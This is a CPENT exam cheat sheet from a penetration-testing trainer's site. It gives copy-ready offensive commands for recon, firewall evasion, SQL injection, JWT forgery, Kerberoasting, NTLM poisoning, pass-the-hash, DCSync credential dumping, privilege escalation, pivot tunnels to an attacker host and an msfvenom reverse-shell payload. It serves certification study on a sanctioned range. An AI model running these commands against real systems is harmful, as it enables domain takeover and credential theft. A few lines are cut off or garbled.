CPENT / LPT field reference

# CPENT cheat sheet: the command for each attack

The EC-Council CPENT AI exam is 24 hours on a live cyber range. This is the command companion to keep open on a second screen: pick your range, find the attack, copy the command. Kerberoasting, AS-REP roasting, lateral movement, pivoting, JWT attacks, binary exploitation, firmware and OT.

New to CPENT, or want the how and why first? Read the full prep guide, How to pass CPENT. This page is its command companion; the two follow the same ranges and tools.

Sarath G / CPENT and LPT Master / 9+ years in offensive security and training

## 01 The exam at a glance

A fully practical exam on a live enterprise range, remote-proctored and chained: footholds unlock networks you could not previously see. You may use your own notes and tools, which is why this reference earns its place. Against a 24-hour clock, recall speed is a score.

| | |
|---|---|
| FORMAT | Live cyber range — 100% practical, remote-proctored |
| DURATION | 24 hours — one session, or two of 12 hours |

SarathG. 1:1 Mentorship

| | |
|---|---|
| LPT MASTER | 90%+ Licensed Penetration Tester |
| REPORT | Within 7 days — submitted after the final session, and scored |
| MODULES | 14 — recon to report, the full kill chain |

How to read this page: each range below is a set of named attacks, each with the command to run. When you are in the Active Directory range and need to Kerberoast, jump to AD & Windows and copy the line. The commands assume Kali; install the few extras (NetExec, chisel, pwntools, firmwalker) the week before, not on exam morning.

Exam Modules Hackers 4 Humanity 24-hour plan Recon Network Web & API AD & Windo

| | | |
|---|---|---|
| 01 | Introduction to Penetration Testing & Methodologies<br>Frameworks, PTES, scoping mindset | |
| 02 | Penetration Testing Scoping & Engagement<br>Rules of engagement, legal, scope |
| 03 | Open-Source Intelligence (OSINT)<br>Passive recon, footprinting | |
| 04 | Social Engineering Penetration Testing<br>Pretext, phishing, the human layer |
| 05 | Web Application Penetration Testing<br>OWASP, injection, auth flaws | |
| 06 | API & Java Web Token Penetration Testing<br>BOLA / IDOR, JWT attacks |
| 07 | Perimeter Defense Evasion Techniques<br>Firewall, IDS / IPS, WAF bypass | |
| 08 | Windows Exploitation & Privilege Escalation<br>Tokens, services, misconfig |
| 09 | Active Directory Penetration Testing<br>Kerberos, ACLs, DCSync | |
| 10 | Linux Exploitation & Privilege Escalation<br>SUID, sudo, capabilities, cron |

13 IoT Penetration Testing
Firmware, protocols, hardware

14 Report Writing & Post-Testing Actions
Findings, PoC, remediation

## 03 Hackers 4 Humanity 2026

EC-Council's Hackers 4 Humanity invites experienced penetration testers to sit a fully sponsored CPENT AI exam. You do not donate money; you donate skill.

### Pass a sponsored exam, fund someone else's start

For every professional who passes, EC-Council commits $1,000 of cybersecurity training to underprivileged learners through vetted non-profit partners. Score 90% or more and you are named one of the 1,000 Great Pen Testers of 2026, recognised on stage at Hacker Halted.

| 1,000 | $1,000 | $1M | 90%+ |
|---|---|---|---|
| sponsored exams | donated per pass | total target impact | = Hall of Fame |

VERIFY BEFORE YOU RELY ON IT

Dates, eligibility and partners are set by EC-Council and can change. Confirm current terms on the official Hackers 4 Humanity page before nominating.

PART II — THE 24-HOUR GAME PLAN

## 04 A time plan that survives the range

Most CPENT failures are time failures, not skill failures: hours lost in one rabbit hole, or a pivot attempted too late to reach the networks behind it. Treat the plan below as a budget you actively defend.

| WINDOW | FOCUS | THE DISCIPLINE |
|---|---|---|
| 0:00–1:00 | Full-scope sweep | Kick off a background `-p-` scan across everything in scope before touching a single box. |
| 1:00–4:00 | Low-hanging fruit | Bank the easy flags: exposed web apps, default creds, obvious CVEs. Points early buy calm later. |
| 4:00–7:00 | Foothold & pivot | Get a shell that reaches a new segment, then pivot immediately. Hidden networks hold the marks. |
| 7:00–10:00 | AD / internal | Enumerate the domain, Kerberoast, chase a path to Domain Admin with BloodHound. |
| 10:00–12:00 | Checkpoint | Back up notes, write findings while fresh, snapshot progress. End session one clean. |
| 12:00–18:00 | Binaries & hard targets | Fresh brain on the buffer overflow and reverse-engineering challenges. |
| 18:00–22:00 | Double pivot & cleanup | Reach the deepest segment, collect remaining flags, retry parked targets with new access. |
| 22:00–24:00 | Evidence lock | Confirm every claimed flag has a screenshot and a repeatable command. No proof, no points. |

THE 45-MINUTE RULE

often, a new credential or pivot that cracks it open.

PART III — ATTACK-BY-ATTACK COMMANDS

## 05 Recon & scoping

Passive first, then active. Map the attack surface before you make noise.

### Subdomain & DNS enumeration

Find the wider surface, then try a zone transfer, which occasionally dumps the whole namespace.

```
theHarvester -d target.com -b all
subfinder -d target.com | httpx -sc -title
dnsrecon -d target.com -a          # AXFR zone-transfer attempt
dig axfr target.com @ns1.target.com
```

Copy

### Live-host discovery on a scoped range

Ping sweep only. Do this before any port scan so the whole scope is mapped while you work one host.

```
nmap -sn 10.10.10.0/24 -oA hosts
fping -a -g 10.10.10.0/24 2>/dev/null
```

Copy

### Attack-surface fingerprinting

Identify tech stacks and exposed services fast, to prioritise which host to hit first.

## 06 Network & perimeter

Nmap is the workhorse. Sweep, then go deep, then enumerate the service. The perimeter-evasion flags are Module 07.

### Full-port sweep, then deep scan

Fast full sweep for open ports, then service, version and default-script detection only on what answered.

```
nmap -p- --min-rate 2000 -T4 10.10.10.5 -oN all-ports.txt
nmap -sC -sV -p 22,80,445,3389 10.10.10.5 -oA deep
```

Copy

### UDP & NSE vulnerability scan

The UDP top ports catch SNMP, TFTP and IKE; the vuln category flags known CVEs on a service.

```
nmap -sU --top-ports 50 10.10.10.5
nmap --script "vuln" -p 445 10.10.10.5
```

Copy

### Firewall & IDS evasion

ACK scan maps which ports are filtered; fragmentation, decoys and a trusted source port slip past simple rules.

```
nmap -sA -p 1-1000 10.10.10.5       # map firewall rules
nmap -f --mtu 16 10.10.10.5         # fragment packets
nmap -D RND:10 10.10.10.5           # decoys
nmap -g 53 -sS 10.10.10.5           # source port 53, often trusted
```

Copy

Null-session share listing and a quick credential check. The single richest port on most internal ranges.

```
enum4linux-ng -A 10.10.10.5
smbclient -L //10.10.10.5/ -N          # null-session share list
nxc smb 10.10.10.5 -u '' -p ''         # NetExec, anonymous
```

Copy

---

### LDAP, SNMP & NFS

The `public` SNMP string leaks users and routes; LDAP gives naming contexts; NFS shows exported mounts.

```
ldapsearch -x -H ldap://10.10.10.5 -s base namingcontexts
snmpwalk -v2c -c public 10.10.10.5
showmount -e 10.10.10.5
```

Copy

---

## 07 Web, API & JWT

Content discovery, then injection and access-control flaws. The dedicated API and JWT module means IDOR / BOLA and token attacks are in scope, not just OWASP injection.

---

### Content & vhost discovery

Brute directories and virtual hosts to find the hidden app. Filter noise by status code or response size.

```
ffuf -u https://target/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 20[illegible],4
ffuf -u https://target -H "Host: FUZZ.target" -w subdomains.txt -fs 0
gobuster dir -u https://target -w raft-medium-words.txt -x php,txt
```

Copy

Point sqlmap at a parameter, or feed it a saved Burp request for authenticated or complex endpoints.

```
sqlmap -u "https://target/item?id=1" --batch --dbs
sqlmap -r request.txt --batch --dump   # from a saved Burp request
```

Copy

---

### Server misconfig & WordPress

Nikto for a fast misconfiguration sweep; WPScan when WordPress is in scope, to enumerate users and vulnerable plugins.

```
nikto -h https://target
wpscan --url https://target --enumerate u,vp
```

Copy

---

### IDOR / BOLA

Iterate object IDs while authenticated as a low-privilege user. A 200 on another user's object is broken object-level authorization.

```
ffuf -u https://target/api/v1/users/FUZZ/orders -w ids.txt \
     -H "Authorization: Bearer <low-priv-token>" -mc 200
```

Copy

---

### JWT — alg:none bypass

Strip the signature and set the algorithm to none. If the server accepts it, you forge any claim.

```
jwt_tool <token>                    # decode header / payload
jwt_tool <token> -X a                # alg:none attack
```

Copy

---

### JWT — weak secret & algorithm confusion

Crack a weak HS256 secret, then forge admin claims; or sign RS256 with the public key as an HMAC key when the server confuses the two.

```
jwt_tool <token> -X k -pk public.pem     # RS256 -> HMAC key confusion
```

---

## 08 Active Directory & Windows

The densest scoring ground. Map the domain, roast for credentials, move laterally, dump, then escalate. Enumerate before you commit to a path.

---

### Map the AD network

Collect with BloodHound / SharpHound and read the shortest path to Domain Admin off the graph. Do not guess it.

Copy

```
bloodhound-python -u user -p pass -d corp.local -c all -ns 10.10.10.5
# or on-host: SharpHound.exe -c All
enum4linux-ng -A 10.10.10.5              # users, groups, shares
```

---

### Credential sweep & password spray

Test one credential across the domain to find where it is local admin. Spraying counts as real logons, so watch lockout thresholds.

Copy

```
nxc smb 10.10.10.0/24 -u user -p 'Pass123' --shares
kerbrute passwordspray -d corp.local users.txt 'Spring2026!'
```

---

### Kerberoasting

Any domain user can request the service ticket of an account with an SPN, then crack it offline. hashcat mode 13100.

### AS-REP roasting

Accounts with Kerberos pre-authentication disabled hand out a crackable hash without any credential. hashcat mode 18200.

```
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass
hashcat -m 18200 asrep.txt rockyou.txt
```

Copy

### NTLM capture & poisoning

Responder poisons LLMNR / NBT-NS and captures NetNTLMv2 hashes off the wire. Crack with hashcat mode 5600 (or relay them).

```
responder -I eth0 -wv
hashcat -m 5600 ntlmv2.txt rockyou.txt
```

Copy

### Lateral movement

Turn a password or NTLM hash into execution on the next host. Pass-the-hash with `-H` needs no cleartext password.

```
impacket-psexec corp.local/admin@10.10.10.6 -hashes :<NTLM>
impacket-wmiexec corp.local/admin:pass@10.10.10.6
evil-winrm -i 10.10.10.6 -u admin -H <NTLM-hash>   # pass-the-hash
```

Copy

### Credential dumping & DCSync

secretsdump pulls local and domain secrets. With replication rights (often via an ACL abuse) DCSync pulls any hash, including krbtgt.

```
impacket-secretsdump corp.local/user:pass@10.10.10.5
impacket-secretsdump corp.local/user:pass@10.10.10.5 -just-dc-user krbtgt
```

Copy

Read your token privileges first. `SeImpersonate` (common on service accounts) means a potato gets you SYSTEM.

```
whoami /priv
winPEASx64.exe quiet                    # or PowerUp Invoke-AllChecks
PrintSpoofer.exe -i -c cmd              # SeImpersonate -> SYSTEM
GodPotato -cmd "cmd /c whoami"          # modern potato, 2019 / 2022
```

Copy

---

## 09 Linux privilege escalation

Run the enumerator, then work the five classic vectors. GTFOBins turns almost any of them into a root shell.

---

### Enumerate everything

One command surfaces sudo rules, SUID, capabilities, cron and kernel version. Read it, then pick a vector below.

```
./linpeas.sh -a | tee linpeas.txt
```

Copy

---

### Abuse sudo rights

List what you may run as root, then check GTFOBins for a shell escape. NOPASSWD entries are the fast win.

```
sudo -l
sudo find . -exec /bin/sh \; -quit      # example if sudo find is allowed
```

Copy

---

### SUID binaries & capabilities

A root-owned SUID binary or a `cap_setuid` capability on the wrong binary is a direct route to root via GTFOBins.

### Writable cron & kernel fallback

A world-writable script run by root cron is easy privesc. Kernel exploits (DirtyPipe, PwnKit) are a last resort; they are noisy and can crash the box.

```
cat /etc/crontab; ls -la /etc/cron.*
searchsploit "linux kernel $(uname -r | cut -d- -f1)"
```

Copy

## 10 Pivoting & tunnelling

The skill that makes CPENT CPENT. Hidden segments sit behind compromised hosts, and the highest-value flags live there. Over-invest here.

### Dynamic SOCKS (single pivot)

Open a SOCKS proxy through a foothold, then run any TCP tool through it with proxychains. proxychains is TCP-connect only, no UDP or raw.

```
ssh -D 1080 -N user@10.10.10.5          # socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 172.16.5.0/24  # scan the hidden net
```

Copy

### Local & remote port forwarding

Forward a single port when you only need one service. `-L` reaches into their network; `-R` pulls a callback back to you.

```
ssh -L 8000:172.16.5.10:80 user@10.10.10.5   # reach their :80 locally
ssh -R 9001:127.0.0.1:9001 user@10.10.10.5   # callback back to you
```

Copy

When only HTTP egress is allowed, chisel tunnels a reverse SOCKS proxy over it. Attacker is the server, the pivot host is the client.

```
attacker> chisel server -p 8080 --reverse
pivot>    chisel client ATTACKER:8080 R:socks
```

Copy

---

### tun interface & the double pivot (ligolo-ng)

ligolo-ng gives a clean tun interface and is the easiest way to hold several segments. Add a route per network; repeat the agent on the second host to double-pivot into network C.

```
attacker> ./proxy -selfcert
pivot1>   ./agent -connect ATTACKER:11601 -ignore-cert
sudo ip route add 172.16.5.0/24 dev ligolo
# repeat ./agent on a host in 172.16.5.0/24 to reach the next network
```

Copy

---

### Metasploit route

Inside a Meterpreter session, autoroute plus a SOCKS proxy does the same for the framework's modules.

```
meterpreter> run autoroute -s 172.16.5.0/24
msf> use auxiliary/server/socks_proxy
```

Copy

---

## 11 Binary exploitation

The bar is competence, not research. Drive the classic stack overflow to completion on both 32 and 64-bit. Each step is a command.

---

### Triage the binary

Check protections first: NX, PIE, canary and RELRO decide which technique you need.

### Debug & reverse

GDB with pwndbg or GEF for dynamic analysis, Ghidra for static reversing, strace / ltrace to watch syscalls and library calls.

```
gdb ./vuln                      # with pwndbg or GEF loaded
ghidra                          # static reverse engineering
strace ./vuln ; ltrace ./vuln
```

Copy

### Find the offset to EIP / RIP

Send a cyclic pattern, crash the target, then resolve the exact offset from the value that landed in the instruction pointer.

```
msf-pattern_create -l 2000
msf-pattern_offset -q 39694438   # value seen in EIP/RIP
```

Copy

### Bad characters & a JMP ESP / RSP

Find bytes that corrupt the payload, then a jump-to-stack gadget that avoids them. On 64-bit the register is RSP.

```
!mona bytearray -cpb '\x00'              # generate, then compare in memory
!mona jmp -r esp -cpb '\x00\x0a'         # find JMP ESP (RSP on x64)
```

Copy

### Generate shellcode

Build a reverse shell that avoids the bad characters, then assemble: offset padding + jump gadget + NOP sled + shellcode.

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 \
         -b '\x00\x0a\x0d' -f python -v shellcode
```

Copy

When the stack is non-executable, chain gadgets into a short ROP to `system()` or a ret2libc. pwntools turns the whole flow into a repeatable script.

```
ROPgadget --binary ./vuln --only "pop|ret"
python3 -c 'from pwn import *; ...'      # pwntools exploit template
```

Copy

---

## 12 IoT, firmware & OT

Enumeration beats brute force. The wins are usually secrets left in the firmware image. On OT, identify only.

---

### Carve the firmware

binwalk finds and extracts embedded filesystems and compressed blobs from a firmware image.

```
binwalk -e firmware.bin
```

Copy

---

### Extract the filesystem

Unpack SquashFS with unsquashfs; keep sasquatch for vendor firmware whose non-standard SquashFS chokes the stock tool.

```
unsquashfs squashfs-root.bin
sasquatch squashfs-root.bin              # non-standard SquashFS variants
```

Copy

---

### Hunt for secrets

firmwalker sweeps the extracted filesystem for passwd / shadow files, SSH keys, certs and hardcoded credentials.

### MQTT (1883)

IoT brokers are frequently unauthenticated. Subscribe to the wildcard topic and read the device's whole conversation.

```
mosquitto_sub -h 10.10.10.5 -t '#' -v
```

Copy

### Modbus / OT — identify only

Modbus/TCP (502) has no auth or encryption, so identification is the whole game. Enumerate and prove access; never fuzz or flood, because an aggressive scan can halt a physical process.

```
nmap -p 502 --script modbus-discover 10.10.10.5
nmap -p 102 --script s7-info 10.10.10.5
```

Copy

## 13 Hash cracking

Every roast, capture and dump above ends in a hash. Know the hashcat mode for each on sight.

| HASH / SOURCE | WHERE IT COMES FROM | HASHCAT -M |
|---|---|---|
| NTLM | secretsdump, SAM, NTDS | 1000 |
| NetNTLMv2 | Responder capture | 5600 |
| Kerberoast (TGS-REP) | GetUserSPNs | 13100 |
| AS-REP | GetNPUsers | 18200 |

| | | |
|---|---|---|
| sha512crypt ($6$) | Linux /etc/shadow | 1800 |
| bcrypt ($2*$) | app databases | 3200 |

### Run the crack

hashcat with the right mode and a wordlist, or John with autodetect. Add a rule set (best64) before you reach for brute force.

```
hashcat -m 13100 tgs.txt rockyou.txt -r /usr/share/hashcat/rules/best64.ru
john --wordlist=rockyou.txt hashes.txt
```

Copy

PART IV — FINISHING THE EXAM

## 14 Report writing & submission

The exam is not over when the range closes. You have **seven days** to submit a professional report, and it is scored. Treat it as a deliverable a client would pay for.

| SECTION | WHAT GRADERS LOOK FOR |
|---|---|
| Executive summary | Business-language risk, no jargon. What could an attacker do, and why should leadership care. |
| Scope & methodology | What was in scope, the standard followed, dates and rules of engagement. |
| Findings | One per issue: title, CVSS / severity, affected asset, description, and reproducible steps. |

| | |
|---|---|
| | the captured flag. |
| Remediation | Specific, actionable fixes per finding. Not “patch everything”. |

Every screenshot should show the target IP, your command and the result in one frame. Feed the report continuously during the exam. Reconstructing proofs from memory at hour twenty-three is where scores quietly leak away.

---

## 15 CPENT exam FAQ

### How long is the CPENT exam and how is it scored?

A fully practical exam on a live cyber range. You choose one 24-hour session or two of 12 hours. Score 70%+ for the CPENT certification and 90%+ to also earn Licensed Penetration Tester (LPT) Master. You then submit a professional report within seven days, and that report is scored too.

### Is the CPENT exam open book?

Yes. It is a hands-on range, so your own notes, cheat sheets and standard tools are allowed; outside help is not. The advantage of a reference like this is speed: not stopping to look up an `msfvenom` flag or a Kerberoasting one-liner lets you finish more challenges.

### What is CPENT AI, and how is it different from the older CPENT?

CPENT AI is the current version. Same 24-hour practical exam and LPT Master pathway, plus AI-assisted techniques across the phases. The core skills the range grades are unchanged.

### What is the hardest part of the CPENT exam?

double pivoting and 32 and 64-bit stack overflows until they are automatic.

## Do I need exploit development skills to pass CPENT?

Working competence, not research-grade skill. You must find a stack overflow, calculate the offset, handle bad characters, redirect to a `JMP ESP` (or `JMP RSP` on 64-bit) and land a msfvenom payload, on both architectures. The classic stack-overflow workflow must be second nature.

## What is Hackers 4 Humanity, and how does it relate to CPENT?

An EC-Council initiative offering experienced pen testers a fully sponsored CPENT AI exam. For each pass, EC-Council donates $1,000 of training to underprivileged learners. Score 90%+ and you join the 1,000 Great Pen Testers of 2026. Nominations run from May to early October 2026.

**Preparing for CPENT with a job in mind?**

I mentor pentesters through exactly this ground, 1:1, from first Nmap to the report. Free intake call first.

1:1 Mentorship →

GO DEEPER

### How to pass CPENT (full guide)

The drills and 24-hour plan behind these commands

### Pivoting & tunnelling lab

The double pivot, worked end to end

### Active Directory attack lab

SQLi to Domain Admin, a full chain

### API security lab

IDOR, BOLA and broken auth in practice

---

## Sarath G

Penetration testing, application security, and corporate training — built from 9+ years in the field. Author of *Certified and Clueless*.



SITE

About

Projects

Services

Labs

Blog

Cybersec Guide

1:1 Mentorship

12-week programme

WORK TOGETHER

Have a project, an assessment, or a training need? Let's talk it through.

Book a consultation →

SarathG. 1:1 Mentorship

© 2026 Sarath G. All rights reserved.

Privacy · sarathg.me